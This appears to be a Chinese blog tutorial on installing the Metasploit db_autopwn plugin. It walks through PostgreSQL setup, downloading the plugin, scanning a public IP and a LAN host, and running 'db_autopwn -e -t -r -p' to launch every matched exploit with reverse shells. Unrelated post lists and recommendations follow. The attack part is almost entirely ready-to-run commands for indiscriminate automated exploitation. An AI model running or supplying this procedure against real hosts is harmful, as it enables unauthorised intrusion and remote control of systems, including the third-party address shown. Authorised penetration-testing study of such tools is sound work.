Metasploit自动攻击模块

Usage: db_autopwn [options]
-h Display this help text
-t Show all matching exploit modules
-x Select modules based on vulnerability references
-p Select modules based on open ports
-e Launch exploits against all matched targets
-r Use a reverse connect shell
-b Use a bind shell on a random port (default)
-q Disable exploit module output
-R [rank] Only run modules with a minimal rank
-I [range] Only exploit hosts inside this range
-X [range] Always exclude hosts inside this range
-PI [range] Only exploit hosts with these ports open
-PX [range] Always exclude hosts with these ports open
-m [regex] Only run modules whose name matches the regex
-T [secs] Maximum runtime for any exploit in seconds wget https://raw.githubusercontent.com/hahwul/metasploit-db_autopwn/master/db_autopwn.rb
mv db_autopwn.rb /usr/share/metasploit-framework/plugins/
ls -alh /usr/share/metasploit-framework/plugins/ db_status
db_disconnect
db_status
db_connect msf3:msf3@127.0.0.1/msf3
db_status workspace
workspace -a test1
workspace
workspace test1 db_nmap -sV -O -v -T 202.193.58.13
hosts
services load db_autopwn
help db_autopwn
db_autopwn -e -t -r -p

环境:kali-linux-2017.3-vm-amd64

一、安装postgresql数据库

apt-get install postgresql

apt-get install rubygems libpq-dev

apt-get install libreadline-dev

apt-get install libssl-dev

apt-get install libpq5

apt-get install ruby-dev

apt-get install libpq-dev

直接全部copy到kali中执行即可

二、自动配置数据库

service postgres start           启动服务

msfdb init                           自动创建数据库、用户、密码

三、手动配置数据库

passwd postgres 修改postgresql数据库密码

su postgres    进入数据库

createuser hello –P       创建用户hello,并设置密码

createdb --owner=hello db_hello      给用户hello创建一个数据库db_hello

psql db_hello        进入db_hello数据库

四、安装db_autopwn.rb模块

cd /usr/share/metasploit-framework/plugins   定位到msf插件目录

git clone https://github.com/hahwul/metasploit-db_autopwn.git  安装db_autopwn

cd metasploit-db_autopwn

mv db_autopwn.rb /usr/share/metasploit-framework/plugins

打开msfconsole,查看db_autopwn是否安装成功,执行如下命令:

load db_autopwn         出现下图结果说明安装成功

五、借助db_autopwn进行自动加载模块进行攻击

msfconsole

use auxiliary/scanner/portscan/tcp     调用tcp扫描模块

set rhosts 192.168.1.28

set threads 10

exploit

自动加载模块

db_autopwn –t –p –r –e

Metasploit自动攻击模块的更多相关文章

  1. 【研究】Metasploit自动攻击模块

    环境:kali-linux-2017.3-vm-amd64 一.安装postgresql数据库 apt-get install postgresql apt-get install rubygems ...

  2. Metasploit自动攻击和选择模块攻击详解

    Author:魔术@Freebuf.com 0×1自动攻击 终端启动Metasploit,因为我现在Source Code,所以这样启动! 连接数据库 安装方法,执行以下命令即可(请用ROOT执行). ...

  3. [转]初探Metasploit的自动攻击

    1. 科普Metasploit   以前只是个Back Track操作系统(简称:BT) 下的攻击框架,自成继承了后攻击渗透模块,隐隐有成为攻击平台的趋势. 我们都戏称它为美少妇,很简单,msf. 它 ...

  4. MetaSploit攻击实例讲解------Metasploit自动化攻击(包括kali linux 2016.2(rolling) 和 BT5)

    不多说,直接上干货! 前期博客 Kali linux 2016.2(Rolling)里Metasploit连接(包括默认和自定义)的PostgreSQL数据库 Kali linux 2016.2(Ro ...

  5. Metasploit的攻击实例讲解----ms10_046快捷方式图标漏洞

    不多说,直接上干货! 准备工具 1.Kali linux 2016.2(Rolling)系统  IP:  192.168.1.103 2.受害者机子(windows XP系统)   IP: 10.10 ...

  6. AFP溢出攻击模块afp/loginext

    AFP溢出攻击模块afp/loginext   在苹果Mac OS X 10.3.3及以前版本,AFP服务存在缓存区溢出漏洞CVE-2004-0430.利用该漏洞,用户可以基于LoginExt包执行任 ...

  7. Winform开发框架之通用自动更新模块(转)

    在网络化的环境中,特别是基于互联网发布的Winform程序,程序的自动更新功能是比较重要的操作,这样可以避免挨个给使用者打电话.发信息通知或者发送软件等,要求其对应用程序进行升级.实现程序的自动更新, ...

  8. node.js零基础详细教程(7.5):mongo可视化工具webstorm插件、nodejs自动重启模块Node Supervisor(修改nodejs后不用再手动命令行启动服务了)

    第七章 建议学习时间4小时  课程共10章 学习方式:详细阅读,并手动实现相关代码 学习目标:此教程将教会大家 安装Node.搭建服务器.express.mysql.mongodb.编写后台业务逻辑. ...

  9. 可以用py库: pyautogui (自动测试模块,模拟鼠标、键盘动作)来代替pyuserinput

    PyAutoGUI 是一个人性化的跨平台 GUI 自动测试模块 pyUserInput模块安装前需要安装pywin32和pyHook模块.(想要装的看https://www.cnblogs.com/m ...

随机推荐

  1. MYSQL学习笔记——数据库范式及MYSQL优化整体思路

    一.数据库范式                                                                               为了建立冗余较小.结构合理的 ...

  2. SQL中exists和in的区别

  3. [thinkphp 5.0源码阅读] 缓存(一)

    保存缓存: user表数据: cache()方法保存缓存: 访问 http://mythinkphp.com/index/index/cache ,两个缓存被保存(runtime/cache目录下): ...

  4. CSS3 Transform实例

    移动translate <!doctype html> <html> <head> <meta charset="utf-8"> & ...

  5. LinkedList与ArrayList的区别(内部实现)

    ArrayList的内部实现是基于内部数组Object[],所以从概念上讲,它更像数组: LinkedList的内部实现是基于一组连接的记录,所以,它更像一个链表结构,所以,它们在性能上有很大的差别. ...

  6. 阿里云弹性裸金属服务器-神龙架构(X-Dragon)揭秘

    在5月16日的飞天技术会新品直播中,特别邀请了业界知名大咖狒哥以及阿里云虚拟化资深专家旭卿作为现场直播的嘉宾.本次直播主要从产品背景到“X-Dragon架构”,从硬件设备到软件应用来深度的剖析“X-D ...

  7. Django2 --- cookie

    1. 什么是cookie ?用途是什么? Cookies是一些存储在用户电脑上的小文件.它是被设计用来保存一些站点的用户数据,这样能够让服务器为这样的用户定制内容,后者页面代码能够获取到Cookie值 ...

  8. php stripos()函数 语法

    php stripos()函数 语法 作用:寻找字符串中某字符最先出现的位置,不区分大小写.直线电参数 语法:stripos(string,find,start) 参数: 参数 描述 string  ...

  9. 实现粘贴WORD图片的在线编辑器

    我司需要做一个需求,就是使用富文本编辑器时,不要以上传附件的形式上传图片,而是以复制粘贴的形式上传图片. 在网上找了一下,有一个插件支持这个功能. WordPaster 安装方式如下: 直接使用Wor ...

  10. form submission

    https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms This module provides a series of articles ...